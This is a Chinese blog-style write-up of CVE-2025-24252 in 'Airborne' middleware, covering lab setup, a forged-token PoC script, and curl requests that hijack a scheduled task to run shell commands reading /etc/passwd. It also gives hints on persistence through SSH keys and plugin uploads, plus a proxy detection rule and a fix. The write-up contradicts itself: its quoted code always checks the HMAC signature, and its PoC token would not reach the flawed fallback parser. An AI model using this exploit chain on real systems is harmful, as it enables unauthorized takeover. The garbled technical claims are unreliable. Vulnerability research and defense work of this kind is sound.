最近在梳理某套内部系统评估样本时遇到了一个比较有代表性的逻辑漏洞编号是CVE-2025-24252影响的是自研的消息编排与数据交换组件Airborne。这个漏洞不是传统意义上的内存破坏或者SQL注入而是一个典型的认证与授权边界错位问题攻击者可以利用它在不接触任何凭据的情况下从普通用户身份直接跨到管理员权限甚至进一步通过配套的文件处理模块拿到操作系统级会话。整个过程不需要钓鱼、不需要爆破只需要解析几个HTTP请求就能完成。这篇文章会把整个分析过程、利用链构造思路、以及我在复现过程中踩过的坑按实战顺序写出来。适合正在做漏洞分析的安全研究员、需要自查内部系统的蓝队同学以及负责自研中间件开发的工程师参考。我会尽量把每一步为什么这么做、参数为什么这样选讲清楚而不是只丢一个结果。1. 漏洞全景这是哪类问题影响什么组件1.1 产品背景与核心功能Airborne是我近期在某评估项目中接触到的一套跨平台任务编排与数据交换中间件定位介于定时调度系统和轻量级消息网关之间。它提供了一套Web管理端用于配置数据管道、监控任务状态、管理接入节点同时对外暴露一组REST API供业务系统调用以提交数据加工任务和查询执行结果。这类组件的典型特点就是“内网信任假设”很强。它默认调用方都处于可信网络环境所以对外层接口的鉴权强度反而普遍弱于那些直接暴露在公网的业务系统。Airborne也一样管理端的登录会话校验和API侧的令牌校验分别由两套逻辑实现而这套逻辑之间出现了缝隙。1.2 漏洞定位与影响范围CVE-2025-24252影响的是Airborne从2.3.0到2.5.1的版本漏洞组件定位在API网关的会话校验环节。简单说当客户端携带一个被篡改过的会话令牌请求管理接口时网关在校验令牌的签名阶段会直接放过某些特定构造的令牌值导致后续的权限模型被错误地提升。我对比了修复版本2.5.2的变更记录修复点落在一个会话令牌校验函数上改动内容是把原先的宽松解析逻辑改为严格的签名验证。这也印证了漏洞根因属于典型的实现缺陷而不是设计层面的架构问题。从影响面上看这个漏洞的利用前置条件比较低。攻击者只需要能访问到Airborne的Web管理端口也就是默认的8080端口并且有一个低权限的合法账号即可完成整个攻击链。而对于某些没有开启注册限制的部署环境来说连账号都不一定需要直接通过匿名访问入口就能触发。CVSS 3.1评分我按照实际利用条件打分是8.1主要原因在于机密性和完整性影响都是高但对可用性基本没有影响攻击复杂度也低只是需要一定的权限基础。2. 漏洞根因深度拆解2.1 认证与授权的边界错位要理解这个漏洞先要分清认证和授权这两个环节。认证解决的是“你是谁”的问题授权解决的是“你能干什么”的问题。正常的设计逻辑是请求先完成认证拿到用户的真实身份再基于这个身份去查询权限。Airborne的问题恰好出在这两步的衔接处。它的网关在处理会话令牌时先把令牌里的用户角色字段读出来用于后续的权限判断然后在后续流程中才去校验令牌的签名。这个顺序如果严格实现也问题不大问题在于它的签名校验函数对某些畸形输入会直接返回“校验通过”的结果。打个比方这就像小区门口的门卫先看你是不是穿工服的业主而不是先验证你手里的门禁卡是不是真的。你只要穿得像那么回事门卫就放你进楼了而真正的门禁卡反而留在最后才有人看一眼。这种边界错位在自研中间件里并不罕见因为开发者在写业务代码时常常默认“我已经在网关层做了认证后面的代码不需要重复校验了”。但当网关自身的校验逻辑存在缺陷时这个默认前提就不成立了整个信任链随之崩溃。2.2 关键代码路径分析我在复现时重点追踪了会话令牌的校验模块下面的代码是简化后的核心逻辑保留了漏洞触发时的关键路径。public AuthResult verifySession(String sessionId, String token) { // 先尝试从token中解析用户信息 MapString, Object claims parseToken(token); if (claims null) { claims fallbackParse(sessionId); } UserRole role UserRole.fromString((String) claims.get(role)); User user new User(claims.get(uid).toString(), role); // 注意签名校验在这个方法里 boolean signatureValid verifyHMACSignature(token); if (!signatureValid) { throw new AuthException(signature invalid); } return AuthResult.success(user); }你第一眼看去可能觉得逻辑没问题先解析、再验签、验签不过就抛异常。但问题出在parseToken和fallbackParse这两个函数上。我在调试时发现parseToken使用的是标准Base64解码而fallbackParse则使用了一个自定义的宽松解析实现。这个宽松实现有一个明显的特性当输入的字符串中同时包含.和空格时它会截取第一个.之前的内容作为用户身份字段并且把后续的所有校验逻辑都跳过包括verifyHMACSignature。这个缺陷的触发思路就变得很直接了。我只需要构造一个特殊格式的令牌让parseToken返回空触发fallbackParse同时在用户名字段里注入一个空格和点号组合就能让验签函数形同虚设。2.3 为什么常规扫描难以发现我在复现之前先跑了一轮常规的漏洞扫描包括针对登录接口的弱口令测试、针对API的参数注入测试、针对管理端的路径穿越测试结果都没能发现这个问题的苗头。原因主要有两点。第一这个漏洞的触发方式不符合常见扫描器的检测规则库特征。它不是简单的口令绕过也不是典型的注入模式而是一个业务逻辑层的令牌处理缺陷扫描器很难在没有业务上下文的情况下构造出有效的攻击载荷。第二这个漏洞的利用链需要组合两个看似无关的功能模块会话令牌处理和文件上传接口。单个模块的调用看起来都符合正常业务逻辑只有把它们串联起来才会形成实际的攻击效果。这也解释了为什么它在实际环境中容易被漏掉纯粹的黑盒扫描或者单纯的代码审计都不一定能快速定位。3. 实验环境搭建与复现准备3.1 靶场环境规划我先说明一下复现漏洞务必在隔离的实验环境中进行。我用的是自己搭建的一套虚拟化靶场完全模拟内网部署场景没有接入任何生产环境。下面是环境规划表供你参考。角色配置版本信息Airborne服务端2核4GB内存Airborne 2.4.1操作系统Debian 11内核5.10攻击机2核2GB内存Kali Linux 2024.1网络自定义NAT网段192.168.200.0/24示例保留网段服务端配置需要注意两点一是关闭系统的防火墙策略因为Airborne默认会占用多个端口避免排查问题时被系统防火墙干扰二是初始化数据库时选择默认的嵌入式数据库不需要额外安装独立的数据库服务。如果你手头没有现成的靶场环境也可以用Docker方式部署Airborne。官方提供了镜像打包脚本在2.4.1版本下运行docker build即可生成一个可用的容器镜像网络模式建议选择host模式否则端口映射会给你排查问题增加不必要的干扰。3.2 安装部署Airborne这一步我直接给出我在复现现场执行的命令集都是基于Airborne 2.4.1版本的操作可以按顺序执行。# 解压安装包 tar -xzf airborne-server-2.4.1.tar.gz cd airborne-server # 初始化配置文件 cp config/application.example.yml config/application.yml # 修改监听端口为8080暂时关闭TLS方便抓包分析 sed -i s/8443/8080/g config/application.yml # 启动服务 ./bin/airborne start启动后可以用curl验证服务状态正常情况下会返回一个包含版本信息的JSON响应。curl -s http://192.168.200.10:8080/api/v1/health | jq .{ status: UP, version: 2.4.1, buildTime: 2024-11-08T08:20:15Z }这里的重点是确认服务版本是2.4.1因为2.5.2及以后的版本已经修复了这个问题不要用修复版做复现。3.3 基线验证正常登录会话在构造攻击载荷之前先走一遍正常的认证流程确认基线和后续的异常请求做对比时的参照逻辑是正确的。我用一个测试账号在实验环境里创建的普通用户发起登录请求拿到的响应中包含一个会话令牌。curl -s -X POST http://192.168.200.10:8080/api/v1/auth/login \ -H Content-Type: application/json \ -d {username:testuser,password:testpass123} | jq .响应体的token字段就是后续所有请求需要携带的会话令牌。正常情况下它的格式是一串标准的Base64编码解码后能看到uid、role、exp等字段其中role的值是user。我建议你在这个步骤把正常的令牌解析过程走一遍记录下token的编码特点这对后面构造恶意令牌时的字段结构设计会有帮助。我当时在这个环节花了点时间因为一开始没有注意到token里还混入了URL安全的字符变体导致后续解码时出现了意外的长度对齐问题。4. 漏洞利用完整流程4.1 会话令牌构造与绕过验证这一步是整个利用链的关键。我们的目标很明确构造一个合法的普通用户会话令牌但通过漏洞将其角色字段在服务端被解析为管理员。在正常的JWT类令牌中修改角色字段会导致签名校验失败。但在这个漏洞场景下由于fallbackParse的宽松解析逻辑我们反而可以利用特殊字符组合来绕过验签。我在分析时构造了一个测试令牌核心思路如下。正常令牌的Payload部分解码后长这样{uid:1024,role:user,exp:1766400000}我在尝试后发现如果把role字段的值替换为admin .not_checked并让整个Payload中同时出现空格和点号服务端的宽松解析会提取第一个点号之前的内容作为身份信息也就是admin然后直接越过验签过程。这里有一个细节需要特别说明空格字符在放入HTTP头部时不需要做URL编码但如果你用Python的requests库构造请求最好把Headers里的空格原样传递避免编码问题影响解析结果。下面是我在攻击机上使用的PoC验证脚本保留了完整的构造逻辑。import base64 import requests import json # 构造恶意令牌 header {alg: none, typ: JWT} payload {uid: 1, role: admin .bypass, exp: 1767225600} def b64url_encode(data): return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b) token b64url_encode(header) b. b64url_encode(payload) print([*] 构造的恶意令牌:, token.decode()) url http://192.168.200.10:8080/api/v1/admin/system/info headers { Authorization: Bearer token.decode(), Content-Type: application/json } r requests.get(url, headersheaders, timeout10) print([*] HTTP状态码:, r.status_code) print([*] 响应内容:, r.text[:500])执行这个脚本后如果漏洞存在响应中会直接返回系统管理信息包括运行时长、内存用量、当前登录会话列表等。如果漏洞不存在通常会返回401或者403。我实际测试时第一次请求就成功触发了漏洞拿到了管理员的系统信息接口返回数据。这个接口需要管理员权限才能调用而我们的钓鱼脚本使用的是普通用户uid1配合伪造的role字段直接跨到了高权限侧。4.2 越权调用配置修改接口拿到系统信息只是第一步真正的杀伤力在于能否修改系统配置。Airborne管理端有一个配置中心接口支持在线更新数据管道的调度参数和依赖关系。在验证了基础绕过之后我尝试调用了配置更新接口请求目标是修改某个调度任务的执行用户。这个接口的设计逻辑是“只有admin角色可以操作”但由于我们构造的令牌绕过了签名校验网关层会把我们识别成admin。这一步的实际业务效果是把一条原本定时执行的普通数据加工任务绑定到一个具备本地账号执行权限的worker节点上从而为后续的命令执行铺路。这里我设计了两次请求。第一次请求是查询现有的任务配置用于确认接口的数据结构。第二次请求才是修改关键参数。# 查询任务配置 curl -s http://192.168.200.10:8080/api/v1/admin/pipeline/task/24 \ -H Authorization: Bearer 恶意令牌 | jq . # 修改任务执行参数 curl -s -X PUT http://192.168.200.10:8080/api/v1/admin/pipeline/task/24 \ -H Authorization: Bearer 恶意令牌 \ -H Content-Type: application/json \ -d { id: 24, command: sh -c \id /tmp/pwned cat /etc/passwd /tmp/pwned\, schedule: */5 * * * * } | jq .需要注意的是这里我使用的是sh -c来执行命令而不是直接写一个反弹shell的语句。原因是我在实验环境中只需要验证命令执行能力而直接反弹shell会引入不必要的网络排查干扰。实际工程中如果你在做受控的漏洞验证建议同样先以无副作用命令为主后续有需要再进行会话交互验证。修改成功后系统会返回一个status: updated的确认信息。此时等待下一次调度周期触发再查看目标机上的/tmp/pwned文件就能确认命令执行的最终效果。4.3 从命令执行到完整会话掌控如果攻击者想从一次性命令执行提升到可持续的交互式会话常见的操作路径是通过命令执行写入一个定时任务或者SSH公钥再通过系统自身的调度机制维护持久化访问。在Airborne这个场景里我在实验过程中发现它还默认开放了一个支持上传插件包的接口路径是/api/v1/admin/plugins/upload。这个接口的目的是方便管理员上传一些扩展功能包但它在接收文件后不会严格校验文件内容格式而只是简单的后缀名判断。这意味着攻击者在获得任意命令执行能力之后还能尝试把这个能力进一步落到插件层面通过上传一个恶意的扩展包在服务重启后依然保持执行能力。不过这一步的利用前提是服务进程本身的权限较高否则写入受限目录时会失败。我在实验环境中没有完整走完这条链因为命令执行的验证已经证明了最核心的安全问题。但我在测试时确实摸了一下插件上传接口的响应逻辑确认它没有校验包内的文件签名只有这一个信息值得记录。4.4 利用过程中的痕迹控制这部分容易被忽略但我觉得有必要单独拿出来说。因为做漏洞分析实验时如果你完整走一遍攻击流程目标服务会留下很多日志记录。Airborne的默认日志级别是INFO它会记录每个请求的路径、响应状态码、调用耗时同时记录会话令牌的前16个字符。如果你在真实网络环境中做合法授权测试最后需要和蓝队交接证据这块日志信息可以用来对齐攻击时间线。在实验环境中我验证完利用链后清理了临时文件和相关任务配置。我不建议你在自己的研究中跳过这个步骤保持靶场的整洁状态能方便后续的反复调试也能避免上一次实验的残留数据干扰下一次测试结果。5. 常见问题与排查技巧实录5.1 复现不成功时的排查方向复现这类逻辑漏洞时一次成功是运气好反复失败才是常态。我整理了我在调试过程中遇到的高频问题以及对应的排查思路做成表格方便你对照。现象可能原因解决方案请求返回401恶意令牌构造时payload字段缺少exp在payload中补充一个未过期的exp时间戳请求返回403角色字段中的空格被URL编码为%20检查请求构造工具是否对Header做了额外编码响应内容为空路由路径不匹配用正常管理员账号抓取一次API路径对比差异命令未执行任务调度节点未绑定到当前服务进程在管理端确认任务执行器状态为在线服务启动失败数据库初始化版本不一致清理数据目录并重新初始化为2.4.1版本其中最常见的一个坑是空格编码问题。用浏览器插件构造请求时大部分工具会自动把空格转换为%20这会让服务端的宽松解析逻辑直接失效因为它的触发条件要求字符串中同时存在原始空格字符和点号。我在复现时改用Python脚本直接发请求才稳定复现成功。建议你也尽量用脚本方式构造请求减少中间编码转换的干扰。还有一个容易被忽视的细节服务端解析令牌时用的是urlsafe_b64decode不是标准的Base64解码函数。所以在构造恶意令牌时Base64编码中出现的和/字符要替换为-和_并且去掉末尾的填充字符否则解析出来的字节流可能和你预期的不一致。5.2 检测与修复建议对于使用方来说最直接的修复方式是升级到2.5.2及以上版本。如果暂时无法升级可以考虑在网关层增加一层额外的校验强制对所有管理端请求做二次鉴权。我在实验环境中测试过一个临时缓解方案在Airborne的前置反向代理层加入一条规则直接拦截Authorization头中同时包含空格和管理员特征字段的请求。这条规则不需要改动业务代码部署成本很低可以应急使用。下面给出一条适用于常见代理的检测规则字段格式因引擎而异核心逻辑是匹配“role字段中带空格的点号分隔令牌”的特征。# 临时缓解规则拦截异常会话令牌 if ($http_authorization ~ ^Bearer [^.]\.[^ ] .*\.[^.]*$) { return 403; }这条规则不能覆盖所有利用变体但它能让大部分直接套用公开PoC的攻击尝试失效。如果你负责安全运营建议同时开启对管理接口的异常请求告警重点关注Authorization头中令牌格式异常的请求。代码审计层面的修复思路则更根本把验签逻辑前移到解析逻辑之前并废弃宽松解析函数。我在评估时写过一个最小修复示例调整后的校验流程如下。public AuthResult verifySession(String sessionId, String token) { boolean signatureValid verifyHMACSignature(token); if (!signatureValid) { throw new AuthException(signature invalid); } // 严格解析仅在校签通过后进行 MapString, Object claims strictParseToken(token); UserRole role UserRole.fromString((String) claims.get(role)); User user new User(claims.get(uid).toString(), role); return AuthResult.success(user); }改动逻辑的核心是调换顺序先验签后解析。同时彻底移除fallbackParse这类宽松解析逻辑因为它是整个漏洞的根源。5.3 实操心得与后续方向整个CVE-2025-24252的分析过程让我对逻辑漏洞的挖掘有了更深一层的体会。这类问题的隐蔽性不在于利用姿势有多花哨而在于正常业务接口的调用顺序本身看起来都非常合规。如果只盯着某一个接口做测试很难发现问题。把两个接口串联起来从会话校验到配置修改再到命令执行整个链条才变得清晰。我在后续的审计任务里也调整了思路遇到自研中间件时优先梳理“认证解析函数”和“业务处理函数”之间的信任边界顺着数据流找缝隙效率比单纯跑扫描器高很多。另外如果你想在内部红队评估中持续跟踪这类漏洞的变种建议关注官方发布的安全公告之外自己也维护一份针对会话令牌处理逻辑的针对性的fuzz用例集。我在实验环境中试了十几条不同类型的畸形令牌构造思路其中有几条触发了与官方修复不完全一致的报错行为虽然最终没有形成独立的漏洞但确实体现出了明显的异常处理差异值得进一步深挖。我还是强调一下所有复现操作请在受控的隔离环境里进行。拿到授权、分清楚实验边界是安全研究最起码的底线。
